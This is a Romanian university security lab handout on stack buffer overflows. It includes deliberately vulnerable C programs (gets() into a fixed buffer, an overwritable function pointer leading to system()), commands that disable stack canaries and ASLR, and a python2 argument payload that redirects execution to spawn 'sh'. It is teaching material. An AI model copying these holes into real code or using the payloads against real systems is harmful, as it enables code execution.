Atacuri tip Buffer Overflow

În laboratorul de astăzi și cel de data viitoare vom discuta exploatarea vulnerabilității de **Buffer Overflow**. Limbajul C/C++ este foarte puternic, punându-ne la dispoziție acces complet la memoria procesului. Exact cum am învățat din Spiderman – *with great powers, comes great responsibilities* :). Astfel, pentru că limbajul ne dă posibilitatea să alterăm aproape orice zonă de memorie din cele mapate și alocate procesului nostru , bug-uri minore în care ne depășim limitele memoriei noastre alocate pentru anumite date devin vulnerabilități majore, exploatabile de un atacator. Din fericire sistemele de operare moderne au pus tot felul de metode de validare și prevenție, pe care le vom discuta, care să îngreuneze misiunea unui atacator chiar dacă programatorul a fost neatent și a lăsat bug-uri în cod.

Această vulnerabilitate o vom demonstra pe linux, 32 de biți, pentru că este mai ușor de demonstrat. Dacă aveți o mașină linux Ubuntu, x64, vă rog să instalați suportul de compilare pe 32 de biți și biblioteca standard C pentru 32 de biți, dacă nu le aveți deja:

```
sudo apt-get install libc6-dev-i386 gcc-multilib
```

Acum, haideți să analizăm următorul cod:

```c
#include <stdio.h>
int main()
{
        int admin = 0;
        char buffer[10];
        gets (buffer);
        if (admin)
        {
                printf ("You are admin.\n");
        }
        else
        {
                printf ("You are not admin");
        }
```

```
        return 0;
}
```

Vedeți vulnerabilitatea din cod? Dacă da, compilati programul și încercați să o exploatați. Compilarea pentru 32 de biți o puteți face folosind comanda:

```
gcc -g -m32 -o ex ex.c
```

unde în *ex.c* am salvat codul de mai sus.

Exercițiul 1. Încercați să exploatați vulnerabilitatea din cod, încercând să suprascrieți variabila admin pentru a se afișa că sunteți admin.
Nu ați reușit? Ați primit un mesaj de eroare de genul acesta:

```
*** stack smashing detected ***: terminated
Aborted (core dumped)
```

Cum spuneam sistemele de operare moderne și compilatoarele moderne au adăugat mecanisme de protecție la astfel de atacuri. În acest caz compilatorul adaugă printre variabile canaries , adică variabile care dacă sunt modificate înseamnă că variabilele vecine și-au depășit granița și au suprascris vecinele. Dacă este detectată o astfel de depășire programul este terminat cu mesajul **stack smashing detected**. Totuși, sunt în continuare suficiente servere și mașini care rulează pe linuxuri vechi unde nu există o astfel de protecție, iar pentru a dezactiva această protecție și pentru a vedea efectiv atacul, va trebui să compilăm programul nostru cu următoarea comandă:

```
gcc -g -m32 -o ex ex.c -fno-stack-protector
```

Opțiunea suplimentară **-fno-stack-protector** dezactivează protecția stivei prin adăugarea de **canaries**. Reîncercați acum să vedeți dacă puteți suprascrie variabila admin. Dacă ați reușit, felicitări, dacă nu, cereți ajutor laborantului/laborantei.

Să analizăm acum următorul program:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
int good_func(char * buffer)
{
        printf ("%s\n", buffer);
        return 0;
}

int bad_func(char * buffer)
{
        system (buffer);
        return 0;
}


typedef int (*MYFUNC)(char * buffer);

int main(int argc, char * argv[])
{

        char buffer1[12];
        volatile MYFUNC fct;
        char buffer2[12];
        fct = good_func;

        printf("a%sa\n", argv[2]);
        strncpy(buffer1,  argv[1], strlen(argv[1])+1);
        strncpy(buffer2,  argv[2], strlen(argv[2])+1);
        fct(buffer1);
        fct(buffer2);
        return 0;
}
```

Vedem că în programul de mai sus, programatorul a uitat o funcție în cod care apelează o comandă folosind funcția *system*. Probabil a folosit-o pentru debugging și a uitat să o șteargă în varianta de release. Vedem de asemenea că avem un pointer de funcție care ia

valoarea unei funcții bune care afișează bufferele primite ca argumente. Dar această funcție poate fi suprascrisă dacă *buffer2* este depășit. Deci dacă pe lângă ce scriem în *buffer2* am reuși cumva să pasăm adresa funcției *bad_func* am putea să executăm comenzi de sistem. Iar o comandă de sistem am putea să o plasăm în *buffer1*.

Deci am putea că în *buffer1* să pregătim comanda de sistem și cu *buffer2* să suprascriem adresa din *fct* cu adresa funcției *bad_func*.

Haideți să vedem dacă acest lucru este posibil – în primul rând care e adresa funcției *bad_func*? Cum am putea să aflăm această adresa. O idee ar fi să adăugăm înainte de *return 0*, următoarea comandă:

```
printf("bad_func_address=%p.\n", bad_func);
```

Exercițiul 2. Compilati și rulați programul modificat astfel încât să afișeze adresa funcției *bad_func*. Este aceeași valoare de fiecare dată? Dacă nu, de ce credeți?

ASLR - Address Space Layout Randomization este de asemenea un mecanism de protecție prin care sistemul de operare încearcă să încarce programul și bibliotecile la altă adresa de fiecare dată, pentru a îngreuna muncă unui atacator care încearcă să găsească adrese fixe cu cod pe care poate să îl exploateze.

Haideți să dezactivam ASLR:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

O dată dezactivat ASLR veți obține o adresa fixă a funcției voastre. În cazul meu, cu programul compilat pe 32 de biți valoarea adresei funcției este 0x5655627c.

Noi ne dorim acum să reușim să scriem o comandă în *buffer1* și să suprascriem valoarea pointerului la funcția de deasupra noastră cu valoarea adresei lui *bad_func* prin *buffer2*.

Pentru a face acest lucru, dacă nu avem python instalat, îl instalăm cu comanda:

```
sudo apt-get install python
```

Observație! Am să va rog să instalați ***python2*** pentru că ***python3*** transformă instrucțiunile *nop* într-un caracter Unicode și ne va încurca ce avem de făcut în următorul laborator.

Acum, dacă vrem să rulăm un program în care să dăm ca argument valori numerice care să nu fie transformate în caracterele asociate acelor valori ne vom folosi de *python*.

Astfel dacă rulăm comanda:

```
./ex2 $(python2 -c 'print ("sh"+" " + "\x7c\x62\x55\x56")')
```

vom pune în primul buffer **sh** – pregătindu-l pentru a avea o comandă rulabilă și vom folosi al doilea argument să punem în *buffer2* valoarea funcției *bad_func*.

Exercițiul 3. Plecând de la comana anterioară mai puneți ce elemente considerați necesare pentru a umple *buffer2* să facă overflow și valorile numerice să ajungă în pointerul *fct*, suprascriind conținutul acestuia cu adresa funcției *bad_fct*.